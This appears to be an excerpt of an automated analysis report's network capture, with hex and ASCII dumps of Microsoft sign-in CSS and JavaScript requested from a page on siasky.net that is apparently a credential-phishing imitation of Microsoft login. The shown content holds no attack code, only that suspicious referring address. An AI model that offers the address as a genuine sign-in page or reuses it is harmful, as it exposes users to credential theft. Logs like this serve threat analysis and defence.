2022-08-05 18:48:17 UTC	95	IN	Data Raw: 77 2d 78 3a 61 75 74 6f 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 2e 30 31 25 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 35 33 39 70 78 29 7b 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 7b 77 69 64 74 68 3a 31 30 30 25 3b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 31 35 70 78 3b 6f 76 65 72 66 6c 6f 77 2d 79 3a 68 69 64 64 65 6e 3b 2d 6d 73 2d 6f 76 65 72 66 6c 6f 77 2d 73 74 79 6c 65 3a 2d 6d 73 2d 61 75 74 6f 68 69 64 69 6e 67 2d 73 63 72 6f 6c 6c 62 61 72 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 7b 6d 61 72 67 69 6e 2d 62 6f 74 74 6f 6d 3a 30 7d 2e 74 61 62 6c 65 2d 72 65 73 70 6f 6e 73 69 76 65 3e 2e 74 61 62 6c 65 3e 74 68 65 61 64 3e 74 72 3e 74 68 2c 2e 74 61 62 6c 65 Data Ascii: w-x:auto;min-height:.01%}@media screen and (max-width:539px){.table-responsive{width:100%;margin-bottom:15px;overflow-y:hidden;-ms-overflow-style:-ms-autohiding-scrollbar}.table-responsive>.table{margin-bottom:0}.table-responsive>.table>thead>tr>th,.table
2022-08-05 18:48:17 UTC	111	IN	Data Raw: 2c 22 45 73 74 72 61 6e 67 65 6c 6f 20 45 64 65 73 73 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 48 69 6d 61 6c 61 79 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 4e 65 77 20 54 61 69 20 4c 75 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 50 68 61 67 73 50 61 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 54 61 69 20 4c 65 22 2c 22 4d 69 63 72 6f 73 6f 66 74 20 59 69 20 42 61 69 74 69 22 2c 22 4d 6f 6e 67 6f 6c 69 61 6e 20 42 61 69 74 69 22 2c 22 4d 56 20 42 6f 6c 69 22 2c 22 4d 79 61 6e 6d 61 72 20 54 65 78 74 22 2c 22 43 61 6d 62 72 69 61 20 4d 61 74 68 22 7d 2e 49 45 5f 4d 37 20 75 6c 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 30 7d 2e 49 45 5f 4d 37 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 62 75 74 74 6f 6e 22 5d 2c 2e 49 45 5f 4d 37 20 69 6e 70 75 74 5b 74 79 70 65 3d 22 Data Ascii: ,"Estrangelo Edessa","Microsoft Himalaya","Microsoft New Tai Lue","Microsoft PhagsPa","Microsoft Tai Le","Microsoft Yi Baiti","Mongolian Baiti","MV Boli","Myanmar Text","Cambria Math"}.IE_M7 ul{margin-left:0}.IE_M7 input[type="button"],.IE_M7 input[type="
2022-08-05 18:48:17 UTC	127	IN	Data Raw: 78 2d 77 69 64 74 68 3a 31 30 30 25 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 77 68 69 74 65 2d 73 70 61 63 65 3a 6e 6f 77 72 61 70 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 3b 76 65 72 74 69 63 61 6c 2d 61 6c 69 67 6e 3a 6d 69 64 64 6c 65 3b 74 65 78 74 2d 6f 76 65 72 66 6c 6f 77 3a 65 6c 6c 69 70 73 69 73 3b 74 6f 75 63 68 2d 61 63 74 69 6f 6e 3a 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 3b 63 6f 6c 6f 72 3a 23 30 30 30 3b 62 6f 72 64 65 72 2d 73 74 79 6c 65 3a 73 6f 6c 69 64 3b 62 6f 72 64 65 72 2d 77 69 64 74 68 3a 32 70 78 3b 62 6f 72 64 65 72 2d 63 6f 6c 6f 72 3a 74 72 61 6e 73 70 61 72 65 6e 74 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 33 32 70 78 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 Data Ascii: x-width:100%;text-align:center;white-space:nowrap;overflow:hidden;vertical-align:middle;text-overflow:ellipsis;touch-action:manipulation;color:#000;border-style:solid;border-width:2px;border-color:transparent;min-height:32px;border:none;background-color:#
2022-08-05 18:48:17 UTC	143	IN	Data Raw: 63 6c 61 73 73 3d 22 72 61 64 69 6f 22 5d 3a 66 69 72 73 74 2d 63 68 69 6c 64 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 7d 2e 66 6f 72 6d 2d 67 72 6f 75 70 2d 74 6f 70 7b 6d 61 72 67 69 6e 2d 74 6f 70 3a 31 36 70 78 7d 64 69 76 5b 72 6f 6c 65 3d 6c 69 73 74 69 74 65 6d 5d 2c 2e 6c 69 73 74 2d 69 74 65 6d 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 32 30 70 78 3b 64 69 73 70 6c 61 79 3a 6c 69 73 74 2d 69 74 65 6d 3b 6c 69 73 74 2d 73 74 79 6c 65 3a 63 69 72 63 6c 65 3b 6c 69 73 74 2d 73 74 79 6c 65 2d 74 79 70 65 3a 64 69 73 63 7d 2e 70 68 6f 6e 65 43 6f 75 6e 74 72 79 43 6f 64 65 7b 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 77 69 64 74 68 3a 31 30 30 25 3b 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 3a 36 70 78 20 34 70 78 3b 68 65 69 67 68 74 3a 33 36 Data Ascii: class="radio"]:first-child{margin-top:0}.form-group-top{margin-top:16px}div[role=listitem],.list-item{margin-left:20px;display:list-item;list-style:circle;list-style-type:disc}.phoneCountryCode{position:absolute;width:100%;left:0;padding:6px 4px;height:36

Timestamp	kBytes transferred	Direction	Data
2022-08-05 18:48:17 UTC	152	OUT	GET /ests/2.1/content/cdnbundles/ux.converged.login.strings-en.min_szor2ujtsn_b-ik0b744ha2.js HTTP/1.1 Host: aadcdn.msftauth.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 Accept: application/signed-exchange;v=b3;q=0.9,/;q=0.8 Purpose: prefetch Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://siasky.net/2g002gfc2guapv0708f5icnsuf79q9os0bv86sjuoscufss9lkml6a0 Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2022-08-05 18:48:17 UTC	155	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Access-Control-Expose-Headers: x-ms-request-id,Server,x-ms-version,Content-Type,Content-Encoding,Cache-Control,Last-Modified,ETag,Content-MD5,x-ms-lease-status,x-ms-blob-type,Content-Length,Date,Transfer-Encoding Age: 26151092 Cache-Control: public, max-age=31536000 Content-MD5: 6Qvaph3XjGlz0gTgNQb8QQ== Content-Type: application/x-javascript Date: Fri, 05 Aug 2022 18:48:17 GMT Etag: 0x8D8B274B724F769 Last-Modified: Wed, 06 Jan 2021 18:56:03 GMT Server: ECAcc (frc/8FA5) Vary: Accept-Encoding X-Cache: HIT x-ms-blob-type: BlockBlob x-ms-lease-status: unlocked x-ms-request-id: 4fabead7-501e-0003-3f24-bb2de5000000 x-ms-version: 2009-09-19 Content-Length: 41194 Connection: close
2022-08-05 18:48:17 UTC	156	IN	Data Raw: 21 66 75 6e 63 74 69 6f 6e 28 65 29 7b 66 75 6e 63 74 69 6f 6e 20 6f 28 6e 29 7b 69 66 28 69 5b 6e 5d 29 72 65 74 75 72 6e 20 69 5b 6e 5d 2e 65 78 70 6f 72 74 73 3b 76 61 72 20 74 3d 69 5b 6e 5d 3d 7b 65 78 70 6f 72 74 73 3a 7b 7d 2c 69 64 3a 6e 2c 6c 6f 61 64 65 64 3a 21 31 7d 3b 72 65 74 75 72 6e 20 65 5b 6e 5d 2e 63 61 6c 6c 28 74 2e 65 78 70 6f 72 74 73 2c 74 2c 74 2e 65 78 70 6f 72 74 73 2c 6f 29 2c 74 2e 6c 6f 61 64 65 64 3d 21 30 2c 74 2e 65 78 70 6f 72 74 73 7d 76 61 72 20 69 3d 7b 7d 3b 72 65 74 75 72 6e 20 6f 2e 6d 3d 65 2c 6f 2e 63 3d 69 2c 6f 2e 70 3d 22 22 2c 6f 28 30 29 7d 28 5b 66 75 6e 63 74 69 6f 6e 28 65 2c 6f 2c 69 29 7b 69 28 32 29 3b 76 61 72 20 6e 3d 69 28 31 29 2c 74 3d 69 28 35 29 2c 72 3d 69 28 37 29 2c 61 3d 72 2e 53 74 72 69 6e Data Ascii: !function(e){function o(n){if(i[n])return i[n].exports;var t=i[n]={exports:{},id:n,loaded:!1};return e[n].call(t.exports,t,t.exports,o),t.loaded=!0,t.exports}var i={};return o.m=e,o.c=i,o.p="",o(0)}([function(e,o,i){i(2);var n=i(1),t=i(5),r=i(7),a=r.Strin
2022-08-05 18:48:17 UTC	171	IN	Data Raw: 6e 67 20 69 6e 20 77 69 74 68 20 47 69 74 48 75 62 22 2c 65 2e 43 54 5f 53 54 52 5f 43 72 65 64 65 6e 74 69 61 6c 50 69 63 6b 65 72 5f 48 65 6c 70 5f 44 65 73 63 5f 46 69 64 6f 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 73 69 67 6e 69 6e 67 20 69 6e 20 77 69 74 68 20 57 69 6e 64 6f 77 73 20 48 65 6c 6c 6f 20 6f 72 20 61 20 73 65 63 75 72 69 74 79 20 6b 65 79 22 2c 65 2e 43 54 5f 53 54 52 5f 43 72 65 64 65 6e 74 69 61 6c 50 69 63 6b 65 72 5f 48 65 6c 70 5f 44 65 73 63 5f 46 69 64 6f 43 72 6f 73 73 50 6c 61 74 66 6f 72 6d 3d 22 4c 65 61 72 6e 20 6d 6f 72 65 20 61 62 6f 75 74 20 73 69 67 6e 69 6e 67 20 69 6e 20 77 69 74 68 20 61 20 73 65 63 75 72 69 74 79 20 6b 65 79 22 2c 65 2e 43 54 5f 53 54 52 5f 43 72 65 64 65 6e 74 69 61 6c 50 69 63 6b 65 Data Ascii: ng in with GitHub",e.CT_STR_CredentialPicker_Help_Desc_Fido="Learn more about signing in with Windows Hello or a security key",e.CT_STR_CredentialPicker_Help_Desc_FidoCrossPlatform="Learn more about signing in with a security key",e.CT_STR_CredentialPicke
2022-08-05 18:48:17 UTC	189	IN	Data Raw: 4e 61 6d 65 22 2c 0a 46 49 52 53 54 5f 4e 41 4d 45 3a 22 4c 61 73 74 4e 61 6d 65 22 2c 4c 41 53 54 5f 4e 41 4d 45 3a 22 46 69 72 73 74 4e 61 6d 65 22 2c 54 49 4c 45 5f 55 52 4c 3a 22 54 69 6c 65 55 72 6c 22 2c 43 49 44 3a 22 43 49 44 22 2c 50 55 49 44 3a 22 50 55 49 44 22 7d 2c 6f 2e 45 72 72 6f 72 3d 7b 53 5f 4f 4b 3a 22 30 22 2c 49 6e 76 61 6c 69 64 52 65 61 6c 6d 44 69 73 63 4c 6f 67 69 6e 3a 31 30 2c 55 73 65 72 6e 61 6d 65 49 6e 76 61 6c 69 64 3a 31 65 33 2c 50 61 73 73 77 6f 72 64 45 6d 70 74 79 3a 31 30 30 31 2c 48 49 50 45 6d 70 74 79 3a 31 30 30 32 2c 41 6c 74 45 6d 61 69 6c 49 6e 76 61 6c 69 64 3a 31 30 30 35 2c 50 68 6f 6e 65 49 6e 76 61 6c 69 64 3a 31 30 30 36 2c 53 41 43 6f 6e 74 61 69 6e 73 4e 61 6d 65 3a 31 30 30 37 2c 4f 54 43 45 6d 70 74 Data Ascii: Name",FIRST_NAME:"LastName",LAST_NAME:"FirstName",TILE_URL:"TileUrl",CID:"CID",PUID:"PUID"},o.Error={S_OK:"0",InvalidRealmDiscLogin:10,UsernameInvalid:1e3,PasswordEmpty:1001,HIPEmpty:1002,AltEmailInvalid:1005,PhoneInvalid:1006,SAContainsName:1007,OTCEmpt